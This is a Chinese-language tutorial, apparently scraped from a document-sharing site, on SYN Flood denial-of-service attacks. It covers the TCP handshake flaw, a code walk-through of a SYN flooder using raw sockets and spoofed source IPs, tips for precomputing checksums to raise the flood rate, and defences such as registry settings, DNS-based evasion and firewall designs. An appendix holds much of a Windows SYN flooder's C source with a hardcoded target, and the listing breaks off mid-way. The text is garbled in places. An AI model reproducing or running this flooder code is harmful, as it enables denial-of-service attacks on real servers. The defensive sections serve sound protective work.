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文档简介

1、SYN Flood攻击的基本原理及防御第一部分 SYN Flood的基本原理   SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。  要明白这种攻击的基本原理,还是要从TCP连接建立的过程开始说起:大家都知道,TCP与UDP不同,它是基于连接的,也就是说:为了在服务端和客户端之间传送TCP数据,必须先建立一个虚拟电路,也就是TCP连接,建立TCP连接的标准过程是这样的:首先,请求端(客户

2、端)发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号; 第二步,服务器在收到客户端的SYN报文后,将返回一个SYN+ACK的报文,表示客户端的请求被接受,同时TCP序号被加一,ACK即确认(Acknowledgement)。 第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加一,到此一个TCP连接完成。 以上的连接过程在TCP协议中被称为三次握手(Three-way Handshake)。   问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机

3、或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源-数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重

4、试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃-即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况我们称作:服务器端受到了SYN Flood攻击(SYN洪水攻击)。    从防御角度来说,有几种简单的解决方法,第一种是缩短SYN Timeout时间,由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数,这个值=SYN攻击的频度 x  SYN Timeout,所以通过缩短从接收到S

5、YN报文到确定这个报文无效并丢弃改连接的时间,例如设置为20秒以下(过低的SYN Timeout设置可能会影响客户的正常访问),可以成倍的降低服务器的负荷。    第二种方法是设置SYN Cookie,就是给每一个请求连接的IP地址分配一个Cookie,如果短时间内连续受到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址来的包会被一概丢弃。    可是上述的两种方法只能对付比较原始的SYN Flood攻击,缩短SYN Timeout时间仅在对方攻击频度不高的情况下生效,SYN Cookie更依赖于对

6、方使用真实的IP地址,如果攻击者以数万/秒的速度发送SYN报文,同时利用SOCK_RAW随机改写IP报文中的源地址,以上的方法将毫无用武之地。                第二部份 SYN Flooder源码解读       下面我们来分析SYN Flooder的程序实现。首先,我们来看一下TCP报文的格式:  0   

7、60;     1         2         3         4         5         6   

8、60;0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |      首部      |    首部    

9、0; |    数据段  |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+              图一 TCP报文结构   如上图所示,一个TCP报文由三个部分构成:20字节的IP首部、20字节的TCP首部与不定长的数据段,(实际操作时可能会有可选的IP选项,这种情况下TCP首部向

10、后顺延)由于我们只是发送一个SYN信号,并不传递任何数据,所以TCP数据段为空。TCP首部的数据结构为:     0                   1                   2&#

11、160;                  3     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   | 

12、0;           十六位源端口号    |           十六位目标端口号    |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |   &

13、#160;                    三十二位序列号                         |   +-+-+-+-+

14、-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |                        三十二位确认号             &

15、#160;           |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   | 四位  |           |U|A|P|R|S|F|        

16、60;                      |   | 首部  |六位保留位 |R|C|S|S|Y|I|         十六位窗口大小        |   |

17、长度  |           |G|K|H|T|N|N|                               |   +-+-+-+-+-+-+-+-

18、+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |           十六位校验和        |         十六位紧急指针        |   +-+

19、-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |                          选项(若有)          &#

20、160;              |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |                    

21、0;     数据(若有)                         |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+      &#

22、160;               图二  TCP首部结构   根据TCP报文格式,我们定义一个结构TCP_HEADER用来存放TCP首部:typedef struct _tcphdr                   

23、60;   USHORT th_sport;               /16位源端口    USHORT th_dport;             /16位目的端口        un

24、signed int th_seq;         /32位序列号        unsigned int th_ack;         /32位确认号        unsigned char th_lenres;     

25、   /4位首部长度+6位保留字中的4位        unsigned char th_flag;            /2位保留字+6位标志位        USHORT th_win;        &

26、#160;        /16位窗口大小        USHORT th_sum;                 /16位校验和        USHORT th_urp;  

27、0;              /16位紧急数据偏移量TCP_HEADER;通过以正确的数据填充这个结构并将TCP_HEADER.th_flag赋值为2(二进制的00000010)我们能制造一个SYN的TCP报文,通过大量发送这个报文可以实现SYN Flood的效果。但是为了进行IP欺骗从而隐藏自己,也为了躲避服务器的SYN Cookie检查,还需要直接对IP首部进行操作:0       

28、0;           1                   2                   3  

29、0;  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   | 版本  | 长度  | 八位服务类型  |         十六位总长度    

30、60;     |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |           十六位标识          | 标志|   十三位片偏移    

31、  |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   | 八位生存时间  |   八位协议    |         十六位首部校验和      |   +-+-+-+-+-+-+-+-+-+-+-+-+-

32、+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |                      三十二位源地址                  

33、 |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |                     三十二位目的地址             

34、;         |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |                         &#

35、160;选项(若有)                         |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |        

36、0;                 数据                         |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

37、-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                        图三  IP首部结构同样定义一个IP_HEADER来存放IP首部typedef struct _iphdr        unsigned char h

38、_verlen;            /4位首部长度+4位IP版本号        unsigned char tos;               /8位服务类型TOS       &#

39、160;unsigned short total_len;      /16位总长度(字节)        unsigned short ident;            /16位标识        unsigned short frag_and_flags

40、;  /3位标志位        unsigned char  ttl;              /8位生存时间 TTL        unsigned char proto;       

41、;  /8位协议号(TCP, UDP 或其他)        unsigned short checksum;        /16位IP首部校验和        unsigned int sourceIP;            

42、;/32位源IP地址        unsigned int destIP;         /32位目的IP地址IP_HEADER;然后通过SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);    建立一个原始套接口,由于我们的IP源地址是伪造的,所以不能指望系统帮我们计算IP校验和,我们得在在s

43、etsockopt中设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和:    flag=TRUE;    setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int);IP校验和的计算方法是:首先将IP首部的校验和字段设为0(IP_HEADER.checksum=0),然后计算整个IP首部(包括选项)的二进制反码的和,一个标准的校验和函数如下所示:USHORT checksum(USHORT *buffer, int s

44、ize) unsigned long cksum=0;        while(size >1)             cksum+=*buffer+;            size -=sizeof(USHORT);    &

45、#160;           if(size ) cksum += *(UCHAR*)buffer;    cksum = (cksum >> 16) + (cksum & 0xffff);        cksum += (cksum >>16);       &

46、#160;return (USHORT)(cksum);这个函数并没有经过任何的优化,由于校验和函数是TCP/IP协议中被调用最多函数之一,所以一般说来,在实现TCP/IP栈时,会根据操作系统对校验和函数进行优化。TCP首部检验和与IP首部校验和的计算方法相同,在程序中使用同一个函数来计算。需要注意的是,由于TCP首部中不包含源地址与目标地址等信息,为了保证TCP校验的有效性,在进行TCP校验和的计算时,需要增加一个TCP伪首部的校验和,定义如下:struct           &#

47、160;                     unsigned long saddr;     /源地址        unsigned long daddr;     /目的地址    

48、0;   char mbz;                    /置空        char ptcl;               

49、    /协议类型        unsigned short tcpl;     /TCP长度psd_header;然后我们将这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和:memcpy(SendBuf,&psd_header,sizeof(psd_header);       memcpy(SendBuf+sizeof(psd_header),&tcp

50、_header,sizeof(tcp_header);    tcp_header.th_sum=checksum(USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header);计算IP校验和的时候不需要包括TCP伪首部:memcpy(SendBuf,&ip_header,sizeof(ip_header);    memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header); 

51、;   ip_header.checksum=checksum(USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header);    再将计算过校验和的IP首部与TCP首部复制到同一个缓冲区中就可以直接发送了:    memcpy(SendBuf,&ip_header,sizeof(ip_header);    sendto(SockRaw,SendBuf,datasize,0,(struc

52、t sockaddr*) &DestAddr,sizeof(DestAddr);   因为整个TCP报文中的所有部分都是我们自己写入的(操作系统不会做任何干涉),所以我们可以在IP首部中放置随机的源IP地址,如果伪造的源IP地址确实有人使用,他在接收到服务器的SYN+ACK报文后会发送一个RST报文(标志位为00000100),通知服务器端不需要等待一个无效的连接,可是如果这个伪造IP并没有绑定在任何的主机上,不会有任何设备去通知主机该连接是无效的(这正是TCP协议的缺陷),主机将不断重试直到SYN Timeout时间后才能丢弃这个无效的半连接。所以当攻击者使用主机

53、分布很稀疏的IP地址段进行伪装IP的SYN Flood攻击时,服务器主机承受的负荷会相当的高,根据测试,一台PIII 550MHz+128MB+100Mbps的机器使用经过初步优化的SYN Flooder程序可以以16,000包/秒的速度发送TCP SYN报文,这样的攻击力已经足以拖垮大部分WEB服务器了。    稍微动动脑筋我们就会发现,想对SYN Flooder程序进行优化是很简单的,从程序构架来看,攻击时循环内的代码主要是进行校验和计算与缓冲区的填充,一般的思路是提高校验和计算的速度,我甚至见过用汇编代码编写的校验和函数,实际上,有另外一个变通的方

54、法可以轻松实现优化而又不需要高深的编程技巧和数学知识,(老实说吧,我数学比较差:P),我们仔细研究了两个不同源地址的TCP SYN报文后发现,两个报文的大部分字段相同(比如目的地址、协议等等),只有源地址和校验和不同(如果为了隐蔽,源端口也可以有变化,但是并不影响我们算法优化的思路),如果我们事先计算好大量的源地址与校验和的对应关系表(如果其他的字段有变化也可以加入这个表),等计算完毕了攻击程序就只需要单纯的组合缓冲区并发送(用指针来直接操作缓冲区的特定位置,从事先计算好的对应关系表中读出数据,替换缓冲区相应字段),这种简单的工作完全取决于系统发送IP包的速度,与程序的效率没有任何关系,这样,

55、即使是CPU主频较低的主机也能快速的发送大量TCP SYN攻击包。如果考虑到缓冲区拼接的时间,甚至可以定义一个很大的缓冲区数组,填充完毕后再发送(雏鹰给这种方法想了一个很贴切的比喻:火箭炮装弹虽然很慢,但是一旦炮弹上膛了以后就可以连续猛烈地发射了:)。          第三部分 SYN Flood攻击的监测与防御初探    对于SYN Flood攻击,目前尚没有很好的监测和防御方法,不过如果系统管理员熟悉攻击方法和系统架构,通过一系列的设定,也能从一定程

56、度上降低被攻击系统的负荷,减轻负面的影响。(这正是我撰写本文的主要目的)    一般来说,如果一个系统(或主机)负荷突然升高甚至失去响应,使用Netstat 命令能看到大量SYN_RCVD的半连接(数量>500或占总连接数的10%以上),可以认定,这个系统(或主机)遭到了SYN Flood攻击。    遭到SYN Flood攻击后,首先要做的是取证,通过Netstat n p tcp >resault.txt记录目前所有TCP连接状态是必要的,如果有嗅探器,或者TcpDump之类的工具,记录TCP SY

57、N报文的所有细节也有助于以后追查和防御,需要记录的字段有:源地址、IP首部中的标识、TCP首部中的序列号、TTL值等,这些信息虽然很可能是攻击者伪造的,但是用来分析攻击者的心理状态和攻击程序也不无帮助。特别是TTL值,如果大量的攻击包似乎来自不同的IP但是TTL值却相同,我们往往能推断出攻击者与我们之间的路由器距离,至少也可以通过过滤特定TTL值的报文降低被攻击系统的负荷(在这种情况下TTL值与攻击报文不同的用户就可以恢复正常访问)    前面曾经提到可以通过缩短SYN Timeout时间和设置SYN Cookie来进行SYN攻击保护,对于Win2000

58、系统,还可以通过修改注册表降低SYN Flood的危害,在注册表中作如下改动:首先,打开regedit,找到HKEY_LOCAL_MACHINESystemCurrentControlSetServicesTcpipParameters 增加一个SynAttackProtect的键值,类型为REG_DWORD,取值范围是0-2,这个值决定了系统受到SYN攻击时采取的保护措施,包括减少系统SYN+ACK的重试的次数等,默认值是0(没有任何保护措施),推荐设置是2; 增加一个TcpMaxHalfOpen的键值,类型为REG_DWORD,取值范围是100-0xFFFF,这个值是系统允许同时打开的半连

59、接,默认情况下WIN2K PRO和SERVER是100,ADVANCED SERVER是500,这个值很难确定,取决于服务器TCP负荷的状况和可能受到的攻击强度,具体的值需要经过试验才能决定。     增加一个TcpMaxHalfOpenRetried的键值,类型为REG_DWORD,取值范围是80-0xFFFF,默认情况下WIN2K PRO和SERVER是80,ADVANCED SERVER是400,这个值决定了在什么情况下系统会打开SYN攻击保护。       我们来分析一下Win2000的

60、SYN攻击保护机制:正常情况下,Win2K对TCP连接的三次握手有一个常规的设置,包括SYN Timeout时间、SYN-ACK的重试次数和SYN报文从路由器到系统再到Winsock的延时等,这个常规设置是针对系统性能进行优化的(安全和性能往往相互矛盾)所以可以给用户提供方便快捷的服务;一旦服务器受到攻击,SYN半连接的数量超过TcpMaxHalfOpenRetried的设置,系统会认为自己受到了SYN Flood攻击,此时设置在SynAttackProtect键值中的选项开始作用,SYN Timeout时间被减短,SYN-ACK的重试次数减少,系统也会自动对缓冲区中的报文进行延时,避免对TC

61、P/IP堆栈造成过大的冲击,力图将攻击危害减到最低;如果攻击强度不断增大,超过了TcpMaxHalfOpen值,此时系统已经不能提供正常的服务了,更重要的是保证系统不会崩溃,所以系统将会丢弃任何超出TcpMaxHalfOpen值范围的SYN报文(应该是使用随机丢包策略),保证系统的稳定性。     所以,对于需要进行SYN攻击保护的系统,我们可以测试/预测一下访问峰值时期的半连接打开量,以其作为参考设定TcpMaxHalfOpenRetried的值(保留一定的余量),然后再以TcpMaxHalfOpenRetried的1.25倍作为TcpMaxHalfO

62、pen值,这样可以最大限度地发挥WIN2K自身的SYN攻击保护机制。     通过设置注册表防御SYN Flood攻击,采用的是“挨打”的策略,无论系统如何强大,始终不能光靠挨打支撑下去,除了挨打之外,“退让”也是一种比较有效的方法。     退让策略是基于SYN Flood攻击代码的一个缺陷,我们重新来分析一下SYN Flood攻击者的流程:SYN Flood程序有两种攻击方式,基于IP的和基于域名的,前者是攻击者自己进行域名解析并将IP地址传递给攻击程序,后者是攻击程序自动进行域名解析,但是它们有一点是相同的,

63、就是一旦攻击开始,将不会再进行域名解析,我们的切入点正是这里:假设一台服务器在受到SYN Flood攻击后迅速更换自己的IP地址,那么攻击者仍在不断攻击的只是一个空的IP地址,并没有任何主机,而防御方只要将DNS解析更改到新的IP地址就能在很短的时间内(取决于DNS的刷新时间)恢复用户通过域名进行的正常访问。为了迷惑攻击者,我们甚至可以放置一台“牺牲”服务器让攻击者满足于攻击的“效果”(由于DNS缓冲的原因,只要攻击者的浏览器不重起,他访问的仍然是原先的IP地址)。     同样的原因,在众多的负载均衡架构中,基于DNS解析的负载均衡本身就拥有对SYN

64、Flood的免疫力,基于DNS解析的负载均衡能将用户的请求分配到不同IP的服务器主机上,攻击者攻击的永远只是其中一台服务器,虽然说攻击者也能不断去进行DNS请求从而打破这种“退让”策略,但是一来这样增加了攻击者的成本,二来过多的DNS请求可以帮助我们追查攻击者的真正踪迹(DNS请求不同于SYN攻击,是需要返回数据的,所以很难进行IP伪装)。       对于防火墙来说,防御SYN Flood攻击的方法取决于防火墙工作的基本原理,一般说来,防火墙可以工作在TCP层之上或IP层之下,工作在TCP层之上的防火墙称为网关型防火墙,网关型防火墙

65、与服务器、客户机之间的关系如下图所示:   外部TCP连接                内部TCP连接     客户机 =>防火墙 =>服务器         如上图所示,客户机与服务器之间并没有真正的TCP连接,客户机与服务器之间的所有数据交换都是通过防火墙代理的,外部的DNS解析也

66、同样指向防火墙,所以如果网站被攻击,真正受到攻击的是防火墙,这种防火墙的优点是稳定性好,抗打击能力强,但是因为所有的TCP报文都需要经过防火墙转发,所以效率比较低由于客户机并不直接与服务器建立连接,在TCP连接没有完成时防火墙不会去向后台的服务器建立新的TCP连接,所以攻击者无法越过防火墙直接攻击后台服务器,只要防火墙本身做的足够强壮,这种架构可以抵抗相当强度的SYN Flood攻击。但是由于防火墙实际建立的TCP连接数为用户连接数的两倍(防火墙两端都需要建立TCP连接),同时又代理了所有的来自客户端的TCP请求和数据传送,在系统访问量较大时,防火墙自身的负荷会比较高,所以这种架构并不能适用于

67、大型网站。(我感觉,对于这样的防火墙架构,使用TCP_STATE攻击估计会相当有效:)     工作在IP层或IP层之下的防火墙(路由型防火墙)工作原理有所不同,它与服务器、客户机的关系如下图所示: 防火墙 数据包修改转发     客户机=|=>服务器 TCP连接       客户机直接与服务器进行TCP连接,防火墙起的是路由器的作用,它截获所有通过的包并进行过滤,通过过滤的包被转发给服务器,外部的DNS解析也直接指向服务器,这种防火墙的优点是效率高

68、,可以适应100Mbps-1Gbps的流量,但是这种防火墙如果配置不当,不仅可以让攻击者越过防火墙直接攻击内部服务器,甚至有可能放大攻击的强度,导致整个系统崩溃。     在这两种基本模型之外,有一种新的防火墙模型,我个人认为还是比较巧妙的,它集中了两种防火墙的优势,这种防火墙的工作原理如下所示: 第一阶段,客户机请求与防火墙建立连接: SYN                  

69、;         SYN+ACK                           ACK     客户机- >防火墙   =>   防火墙- >客户机

70、60;  =>   客户机- >防火墙   第二阶段,防火墙伪装成客户机与后台的服务器建立连接 防火墙< = >服务器 TCP连接       第三阶段,之后所有从客户机来的TCP报文防火墙都直接转发给后台的服务器 防火墙转发 客户机< =|= >服务器                 

71、60;    TCP连接     这种结构吸取了上两种防火墙的优点,既能完全控制所有的SYN报文,又不需要对所有的TCP数据报文进行代理,是一种两全其美的方法。 近来,国外和国内的一些防火墙厂商开始研究带宽控制技术,如果能真正做到严格控制、分配带宽,就能很大程度上防御绝大多数的拒绝服务攻击,我们还是拭目以待吧。   附录:Win2000下的SYN Flood程序改编自Linux下Zakath编写的SYN Flooder编译环境:VC+6.0,编译时需要包含ws2_32.lib/  &#

72、160;                                                 &#

73、160;                 /  SYN Flooder For Win2K by Shotgun                         

74、;           /                                      

75、0;                               /  THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath       &#

76、160;     /  THANX Lion Hook FOR PROGRAM OPTIMIZATION                            /        &

77、#160;                                                 &

78、#160;           /  Released:    2001.4                             

79、60;                  /  Author:     Shotgun                       

80、;                        /  Homepage:                       

81、                                    /              http

82、:/IT.Xici.Net                                    /           

83、0;  http:/WWW.Patching.Net                               /             

84、0;                                                 

85、0;      /#include <winsock2.h>#include <Ws2tcpip.h>#include <stdio.h>#include <stdlib.h>#define SEQ 0x28376839#define SYN_DEST_IP "50"/被攻击的IP#define FAKE_IP ""       /伪装IP的

86、起始值,本程序的伪装IP覆盖一个B类网段#define STATUS_FAILED 0xFFFF      /错误返回值  typedef struct _iphdr              /定义IP首部    unsigned char h_verlen;      

87、60;     /4位首部长度,4位IP版本号    unsigned char tos;               /8位服务类型TOS    unsigned short total_len;      /16位总长度(字节)   &

88、#160;unsigned short ident;            /16位标识    unsigned short frag_and_flags;  /3位标志位    unsigned char  ttl;            

89、;  /8位生存时间 TTL    unsigned char proto;         /8位协议 (TCP, UDP 或其他)    unsigned short checksum;        /16位IP首部校验和    unsigned int sourceIP; 

90、0;          /32位源IP地址    unsigned int destIP;         /32位目的IP地址IP_HEADER;  struct                &#

91、160;             /定义TCP伪首部        unsigned long saddr;     /源地址        unsigned long daddr;     /目的地址  &#

92、160;     char mbz;        char ptcl;                   /协议类型        unsigned short tcpl;   

93、;  /TCP长度psd_header;  typedef struct _tcphdr             /定义TCP首部    USHORT th_sport;               /16位源端口    USHO

94、RT th_dport;               /16位目的端口    unsigned int th_seq;         /32位序列号    unsigned int th_ack;         /3

95、2位确认号    unsigned char th_lenres;        /4位首部长度/6位保留字    unsigned char th_flag;            /6位标志位    USHORT th_win;    

96、             /16位窗口大小    USHORT th_sum;                 /16位校验和    USHORT th_urp;      

97、60;          /16位紧急数据偏移量TCP_HEADER;  /CheckSum:计算校验和的子函数USHORT checksum(USHORT *buffer, int size) unsigned long cksum=0;      while(size >1)     cksum+=*buffer+;    size -=

98、sizeof(USHORT);    if(size )     cksum += *(UCHAR*)buffer;    cksum = (cksum >> 16) + (cksum & 0xffff);  cksum += (cksum >>16);  return (USHORT)(cksum);  /  SynFlood主函数int main() 

99、   int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;    int TimeOut=2000,SendSEQ=0;    char SendBuf128=0;    char RecvBuf65535=0;    WSADATA wsaData;    SOCKET SockRaw=(SOCKET)N

100、ULL;    struct sockaddr_in DestAddr;    IP_HEADER ip_header;    TCP_HEADER tcp_header;    /初始化SOCK_RAW    if(ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData)!=0)      

101、60; fprintf(stderr,"WSAStartup failed: %dn",ErrorCode);        ExitProcess(STATUS_FAILED);        SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);if (SockRaw=INVALID_SOCKET) 

102、;       fprintf(stderr,"WSASocket() failed: %dn",WSAGetLastError();        ExitProcess(STATUS_FAILED);        flag=TRUE;    /设置IP_HDRINCL以自己填充IP首部 

103、60;  ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int);If (ErrorCode=SOCKET_ERROR)  printf("Set IP_HDRINCL Error!n");    _try        /设置发送超时      

104、60; ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut);if(ErrorCode=SOCKET_ERROR)            fprintf(stderr,"Failed to set send TimeOut: %dn",WSAGetLastError();    

105、0;       _leave;                memset(&DestAddr,0,sizeof(DestAddr);        DestAddr.sin_family=AF_INET;      &

106、#160; DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);        FakeIpNet=inet_addr(FAKE_IP);        FakeIpHost=ntohl(FakeIpNet);        /填充IP首部     

107、60;  ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long);/高四位IP版本号,低四位首部长度        ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER);     /16位总长度(字节)        

108、ip_header.ident=1;                                               

109、        /16位标识        ip_header.frag_and_flags=0;                             &#

110、160;                 /3位标志位        ip_header.ttl=128;                     &

111、#160;                                 /8位生存时间TTL        ip_to=IPPROTO_TCP;  

112、0;                                       /8位协议(TCP,UDP)        ip

113、_header.checksum=0;                                               

114、;     /16位IP首部校验和        ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                          /32位源IP地址

115、        ip_header.destIP=inet_addr(SYN_DEST_IP);                               /32位目的IP地址   

116、60;/填充TCP首部        tcp_header.th_sport=htons(7000);                                   

117、;   /源端口号        tcp_header.th_dport=htons(8080);                                    &#

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